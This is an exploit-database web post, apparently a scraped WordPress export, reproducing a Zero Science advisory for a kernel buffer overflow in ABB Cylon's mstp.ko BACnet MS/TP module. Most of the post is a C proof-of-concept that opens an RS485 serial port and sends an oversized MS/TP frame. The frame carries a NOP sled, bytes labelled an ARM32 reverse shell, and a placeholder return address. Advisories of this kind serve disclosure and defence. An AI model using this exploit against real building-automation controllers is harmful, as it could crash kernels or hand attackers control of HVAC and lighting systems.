{"id":5850,"date":"2025-05-23T10:36:45","date_gmt":"2025-05-23T10:36:45","guid":{"rendered":"http:\/\/localhost\/?p=5850"},"modified":"2025-05-23T10:36:45","modified_gmt":"2025-05-23T10:36:45","slug":"abb-cylon-bacnet-mstp-kernel-module-mstpko-out-of-bounds-write-in-sendframe","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=5850","title":{"rendered":"ABB Cylon BACnet MS\/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame()"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">ABB Cylon BACnet MS\/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame()<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">ZSL-2025-5953<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">zeroscience<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-22T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-22T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">0.0<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #666666; font-weight: bold;\">NONE<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">NONE<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nTitle: ABB Cylon BACnet MS\/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame() Advisory ID: ZSL-2025-5953 Type: Local Impact:&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n<html><body><\/p>\n<p>\/*<\/p>\n<p>ABB Cylon BACnet MS\/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame()<\/p>\n<p>Vendor: ABB Ltd.<br \/>\n<br \/>Product web page: https:\/\/www.global.abb<br \/>\n<br \/>Affected version: &lt;=3.08.03<\/p>\n<p>Summary: ASPECT is an award-winning scalable building energy management<br \/>\n<br \/>and control solution designed to allow users seamless access to their<br \/>\n<br \/>building data through standard building protocols including smart devices.<\/p>\n<p>BACnet Smart Building Controllers. ABB&#8217;s BACnet portfolio features<br \/>\n<br \/>a series of BACnet IP and BACnet MS\/TP field controllers for ASPECT<br \/>\n<br \/>and INTEGRA building management solutions. ABB BACnet controllers<br \/>\n<br \/>are designed for intelligent control of HVAC equipment such as central<br \/>\n<br \/>plant, boilers, chillers, cooling towers, heat pump systems, air<br \/>\n<br \/>handling units (constant volume, variable air volume, and multi-zone),<br \/>\n<br \/>rooftop units, electrical systems such as lighting control, variable<br \/>\n<br \/>frequency drives and metering.<\/p>\n<p>The FLXeon Controller Series uses BACnet\/IP standards to deliver<br \/>\n<br \/>unprecedented connectivity and open integration for your building<br \/>\n<br \/>automation systems. It&#8217;s scalable, and modular, allowing you to<br \/>\n<br \/>control a diverse range of HVAC functions.<\/p>\n<p>Committee: BACnet.org<\/p>\n<p>InFaq:<br \/>\n<br \/>A BACnet router is a device that passes a message from one network<br \/>\n<br \/>to another without changing the form or content of the message. This<br \/>\n<br \/>kind of device is used to interconnect BACnet networks that have<br \/>\n<br \/>different media (Ethernet, MS\/TP over twisted pair, etc.). It is a<br \/>\n<br \/>simple device that just routes BACnet messages where they need to go,<br \/>\n<br \/>without decoding or altering them. A BACnet gateway is a more complex<br \/>\n<br \/>device that is used to interconnect a BACnet network with a non-BACnet<br \/>\n<br \/>network (such as Modbus or KNX). A gateway must decode messages on each<br \/>\n<br \/>network and reformat or translate the information to meet the requirements<br \/>\n<br \/>of the other network to route messages where they need to go. Gateways<br \/>\n<br \/>generally require more configuration, commissioning and maintenance<br \/>\n<br \/>effort than a router, as well as being more costly.<\/p>\n<p>License: GPL<br \/>\n<br \/>Author: Muiz M. Haider<br \/>\n<br \/>Description: BACnet MS\/TP Serial Line Discipline<br \/>\n<br \/>:: Master-Slave \/ Token Passing ::<\/p>\n<p>Desc: A buffer overflow vulnerability exists in the mstp.ko kernel<br \/>\n<br \/>module, responsible for processing BACnet MS\/TP frames over<br \/>\n<br \/>serial (RS485). The SendFrame() function writes directly into<br \/>\n<br \/>a statically sized kernel buffer (alloc_entry(0x1f5)) without<br \/>\n<br \/>validating the length of attacker-controlled data (param_5).<br \/>\n<br \/>If an MS\/TP frame contains a crafted payload exceeding 492 bytes,<br \/>\n<br \/>the function performs out-of-bounds writes beyond the allocated<br \/>\n<br \/>501-byte buffer, corrupting kernel memory. This flaw allows local<br \/>\n<br \/>or physically connected attackers to trigger denial-of-service<br \/>\n<br \/>or achieve remote code execution in kernel space. Tested against<br \/>\n<br \/>version 3.08.03 with a custom BACnet frame over \/dev\/ttyS0.<\/p>\n<p>mstp.KOrruption: Kernel Frame Overflow in BACnet MS\/TP Module<br \/>\n<br \/>(MSTP frame mishandling causes memory corruption in embedded RS485 stack)<\/p>\n<p>Tested on: GNU\/Linux Kernel 5.4.27<br \/>\n<br \/>           GNU\/Linux Kernel 4.15.13<br \/>\n<br \/>           GNU\/Linux 3.15.10 (armv7l)<br \/>\n<br \/>           GNU\/Linux 3.10.0 (x86_64)<br \/>\n<br \/>           GNU\/Linux 2.6.32 (x86_64)<br \/>\n<br \/>           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz<br \/>\n<br \/>           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz<\/p>\n<p>Vulnerability discovered by Gjoko &#8216;LiquidWorm&#8217; Krstic<br \/>\n<br \/>                            @zeroscience<\/p>\n<p>Advisory ID: ZSL-2025-5953<br \/>\n<br \/>Advisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2025-5953.php<\/p>\n<p>21.04.2024<\/p>\n<p>*\/<\/p>\n<p>#include <linux>\n<br \/>#include <termios.h><br \/>\n<br \/>#include <stdlib.h><br \/>\n<br \/>#include <unistd.h><br \/>\n<br \/>#include <string.h><br \/>\n<br \/>#include <stdint.h><br \/>\n<br \/>#include <fcntl.h><br \/>\n<br \/>#include <stdio.h><\/p>\n<p>#define DEVICE &#8220;\/dev\/ttyS0&#8221;     \/\/enum<br \/>\n<br \/>#define BAUD_RATE B9600         \/\/modify if needed<br \/>\n<br \/>#define BUFFER_SIZE 510         \/\/&gt;501 triggers overflow<br \/>\n<br \/>#define PAYLOAD_SIZE 492        \/\/vulnerable write starts after 8-byte offset<br \/>\n<br \/>#define SHELLCODE_SIZE 30       \/\/size of ARM32 reverse shell<\/p>\n<p>\/\/BACnet MSTP frame used by kernel<br \/>\n<br \/>struct mstp_frame {<br \/>\n<br \/>    unsigned char preamble[2];        \/\/0x55 0xFF<br \/>\n<br \/>    unsigned char frame_type;         \/\/0x00<br \/>\n<br \/>    unsigned char dest_addr;          \/\/0x01 (arbitrary)<br \/>\n<br \/>    unsigned char src_addr;           \/\/0x02 (arbitrary)<br \/>\n<br \/>    unsigned char length[2];          \/\/2-byte length field<br \/>\n<br \/>    unsigned char header_crc;         \/\/dummy for PoC<br \/>\n<br \/>    unsigned char data[PAYLOAD_SIZE];<br \/>\n<br \/>    unsigned char data_crc[2];        \/\/dummy CRC<br \/>\n<br \/>};<\/p>\n<p>void banner() {<br \/>\n<br \/>\tprintf(&#8220;\\n&#8221;);<br \/>\n<br \/>    printf(&#8221;                 P   R   O   J   E   C   T\\n\\n&#8221;);<br \/>\n<br \/>    printf(&#8221;                        .|\\n&#8221;);<br \/>\n<br \/>    printf(&#8221;                        | |\\n&#8221;);<br \/>\n<br \/>    printf(&#8221;                        |&#8217;|            ._____\\n&#8221;);<br \/>\n<br \/>    printf(&#8221;                ___    |  |            |.   |&#8217; .&#8212;\\&#8221;|\\n&#8221;);<br \/>\n<br \/>    printf(&#8221;        _    .-&#8216;   &#8216;-. |  |     .&#8211;&#8216;|  ||   | _|    |\\n&#8221;);<br \/>\n<br \/>    printf(&#8221;     .-&#8216;|  _.|  |    ||   &#8216;-__  |   |  |    ||      |\\n&#8221;);<br \/>\n<br \/>    printf(&#8221;     |&#8217; | |.    |    ||       | |   |  |    ||      |\\n&#8221;);<br \/>\n<br \/>    printf(&#8221; ____|  &#8216;-&#8216;     &#8216;    \\&#8221;\\&#8221;       &#8216;-&#8216;   &#8216;-.&#8217;    &#8216;`      |____\\n&#8221;);<br \/>\n<br \/>    printf(&#8220;\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591  \\n&#8221;);<br \/>\n<br \/>    printf(&#8220;\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 \\n&#8221;);<br \/>\n<br \/>    printf(&#8220;\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 \\n&#8221;);<br \/>\n<br \/>    printf(&#8220;\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 \\n&#8221;);<br \/>\n<br \/>    printf(&#8220;\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 \\n&#8221;);<br \/>\n<br \/>    printf(&#8220;\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 \\n&#8221;);<br \/>\n<br \/>    printf(&#8220;\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 \\n&#8221;);<br \/>\n<br \/>    printf(&#8221;         \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \\n&#8221;);<br \/>\n<br \/>    printf(&#8221;         \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\\n&#8221;);<br \/>\n<br \/>    printf(&#8221;         \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591 \\n&#8221;);<br \/>\n<br \/>    printf(&#8221;         \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2592\u2593\u2588\u2588\u2588\u2593\u2592\u2591\\n&#8221;);<br \/>\n<br \/>    printf(&#8221;         \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\\n&#8221;);<br \/>\n<br \/>    printf(&#8221;         \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\\n&#8221;);<br \/>\n<br \/>    printf(&#8221;         \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\\n&#8221;);<br \/>\n<br \/>    printf(&#8220;\\n&#8221;);<br \/>\n<br \/>}<\/p>\n<p>void configure_serial(int fd) {<br \/>\n<br \/>    struct termios tty;<br \/>\n<br \/>    struct serial_rs485 rs485conf;<\/p>\n<p>    tcgetattr(fd, &amp;tty);<br \/>\n<br \/>    cfsetospeed(&amp;tty, BAUD_RATE);<br \/>\n<br \/>    cfsetispeed(&amp;tty, BAUD_RATE);<\/p>\n<p>    tty.c_cflag = (tty.c_cflag &amp; ~CSIZE) | CS8 | CLOCAL | CREAD;<br \/>\n<br \/>    tty.c_cflag &amp;= ~(PARENB | CSTOPB | CRTSCTS);<br \/>\n<br \/>    tty.c_iflag &amp;= ~(IXON | IXOFF | IXANY);<br \/>\n<br \/>    tty.c_lflag = 0;<br \/>\n<br \/>    tty.c_oflag = 0;<br \/>\n<br \/>    tty.c_cc[VMIN] = 1;<br \/>\n<br \/>    tty.c_cc[VTIME] = 0;<\/p>\n<p>    tcsetattr(fd, TCSANOW, &amp;tty);<\/p>\n<p>    ioctl(fd, TIOCGRS485, &amp;rs485conf);<br \/>\n<br \/>    rs485conf.flags |= SER_RS485_ENABLED;<br \/>\n<br \/>    rs485conf.flags &amp;= ~(SER_RS485_RTS_ON_SEND);<br \/>\n<br \/>    rs485conf.flags |= SER_RS485_RTS_AFTER_SEND;<br \/>\n<br \/>    ioctl(fd, TIOCSRS485, &amp;rs485conf);<br \/>\n<br \/>}<\/p>\n<p>\/\/ARM32 reverse shell to \/bin\/sh (port-agnostic demo shell)<br \/>\n<br \/>unsigned char shellcode[SHELLCODE_SIZE] = {<br \/>\n<br \/>    0x01, 0x30, 0x8f, 0xe2, 0x13, 0xff, 0x2f, 0xe1,<br \/>\n<br \/>    0x78, 0x46, 0x0c, 0x30, 0x01, 0x90, 0x01, 0xa9,<br \/>\n<br \/>    0x92, 0x1a, 0x0b, 0x27, 0x01, 0xdf,<br \/>\n<br \/>    0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00<br \/>\n<br \/>};<\/p>\n<p>void craft_frame(struct mstp_frame *frame) {<br \/>\n<br \/>    frame-&gt;preamble[0] = 0x55;<br \/>\n<br \/>    frame-&gt;preamble[1] = 0xFF;<br \/>\n<br \/>    frame-&gt;frame_type = 0x00;<br \/>\n<br \/>    frame-&gt;dest_addr = 0x01;<br \/>\n<br \/>    frame-&gt;src_addr = 0x02;<\/p>\n<p>    \/\/492-byte payload triggers write at param_1[0x16] + 8 + i<br \/>\n<br \/>    frame-&gt;length[0] = (PAYLOAD_SIZE &gt;&gt; 8) &amp; 0xFF;<br \/>\n<br \/>    frame-&gt;length[1] = PAYLOAD_SIZE &amp; 0xFF;<\/p>\n<p>    frame-&gt;header_crc = 0xFF; \/\/mock crc<\/p>\n<p>    memset(frame-&gt;data, 0x90, PAYLOAD_SIZE); \/\/nop sankata<br \/>\n<br \/>    memcpy(frame-&gt;data + PAYLOAD_SIZE &#8211; SHELLCODE_SIZE &#8211; 4, shellcode, SHELLCODE_SIZE);<\/p>\n<p>    \/\/Overwrite dummy ret addr or kernel jump table entry (mock addr)<br \/>\n<br \/>    *(uint32_t *)(frame-&gt;data + PAYLOAD_SIZE &#8211; 4) = 0xdeadbeef;<\/p>\n<p>    frame-&gt;data_crc[0] = 0xFF;<br \/>\n<br \/>    frame-&gt;data_crc[1] = 0xFF;<br \/>\n<br \/>}<\/p>\n<p>int main() {<br \/>\n<br \/>\tbanner();<br \/>\n<br \/>    int fd = open(DEVICE, O_RDWR);<br \/>\n<br \/>    if (fd &lt; 0) {<br \/>\n<br \/>        perror(&#8220;Failed to open serial device&#8221;);<br \/>\n<br \/>        return 1;<br \/>\n<br \/>    }<\/p>\n<p>    configure_serial(fd);<\/p>\n<p>    struct mstp_frame frame;<br \/>\n<br \/>    craft_frame(&amp;frame);<\/p>\n<p>    size_t frame_size = sizeof(frame);<br \/>\n<br \/>    ssize_t bytes_written = write(fd, &amp;frame, frame_size);<br \/>\n<br \/>    if (bytes_written &lt; 0) {<br \/>\n<br \/>        perror(&#8220;Failed to write frame&#8221;);<br \/>\n<br \/>    } else {<br \/>\n<br \/>        printf(&#8220;[+] Wrote %zd bytes. Buffer overflow attempt sent.\\n&#8221;, bytes_written);<br \/>\n<br \/>    }<\/p>\n<p>    close(fd);<br \/>\n<br \/>    return 0;<br \/>\n<br \/>}<br \/>\n<br \/><\/stdio.h><\/fcntl.h><\/stdint.h><\/string.h><\/unistd.h><\/stdlib.h><\/termios.h><\/linux><\/p>\n<p><\/body><\/html>\n<\/div>\n<p><a href=\"http:\/\/zeroscience.mk\/en\/vulnerabilities\/ZSL-2025-5953.php\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title ABB Cylon BACnet MS\/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame() Exploit ID ZSL-2025-5953 Type zeroscience Published 2025-05-22T00:00:00 Modified&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,34,12,13,33,7,11,5,107],"class_list":["post-5850","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-00","tag-exploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability","tag-zeroscience"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>ABB Cylon BACnet MS\/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame() - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=5850\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"ABB Cylon BACnet MS\/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame() - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title ABB Cylon BACnet MS\/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame() Exploit ID ZSL-2025-5953 Type zeroscience Published 2025-05-22T00:00:00 Modified...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=5850\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-05-23T10:36:45+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5850#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5850\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"ABB Cylon BACnet MS\\\/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame()\",\"datePublished\":\"2025-05-23T10:36:45+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5850\"},\"wordCount\":1086,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-0.0\",\"exploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\",\"zeroscience\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=5850#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5850\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5850\",\"name\":\"ABB Cylon BACnet MS\\\/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame() - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-05-23T10:36:45+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5850#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=5850\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5850#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"ABB Cylon BACnet MS\\\/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame()\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"ABB Cylon BACnet MS\/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame() - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=5850","og_locale":"en_US","og_type":"article","og_title":"ABB Cylon BACnet MS\/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame() - zero redgem","og_description":"Exploit Details Basic Information Exploit Title ABB Cylon BACnet MS\/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame() Exploit ID ZSL-2025-5953 Type zeroscience Published 2025-05-22T00:00:00 Modified...","og_url":"https:\/\/zero.redgem.net\/?p=5850","og_site_name":"zero redgem","article_published_time":"2025-05-23T10:36:45+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=5850#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=5850"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"ABB Cylon BACnet MS\/TP Kernel Module (mstp.ko) Out-of-Bounds Write in 